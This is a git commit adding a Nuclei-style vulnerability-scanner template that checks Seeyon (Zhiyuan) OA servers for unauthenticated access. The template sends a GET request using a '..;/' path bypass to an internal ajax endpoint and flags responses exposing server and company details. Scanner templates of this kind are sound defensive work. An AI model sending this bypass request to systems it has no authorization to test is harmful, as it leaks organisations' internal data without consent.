Create zhiyuan-oa-unauthorized.yaml

2021-03-02 00:20:55 +00:00 · 2021-03-02 00:20:55 +00:00 · 66f9dc25f7
parent 3d331c7191
commit 66f9dc25f7
1 changed files with 26 additions and 0 deletions
--- a/misconfiguration/zhiyuan-oa-unauthorized.yaml
+++ b/misconfiguration/zhiyuan-oa-unauthorized.yaml
@ -0,0 +1,26 @@
+id: zhiyuan-oa-unauthorized
+
+info:
+  name: Zhiyuan Oa unauthorized
+  author: pikpikcu
+  severity: low
+  reference: https://buaq.net/go-53721.html
+  tags: seeyon,unauth
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/seeyon/personalBind.do.jpg/..;/ajax.do?method=ajaxAction&managerName=mMOneProfileManager&managerMethod=getOAProfile"
+
+    matchers-condition: and
+    matchers:
+
+      - type: word
+        words:
+          - "serverIdentifier"
+          - "companyName"
+        condition: and
+
+      - type: status
+        status:
+          - 200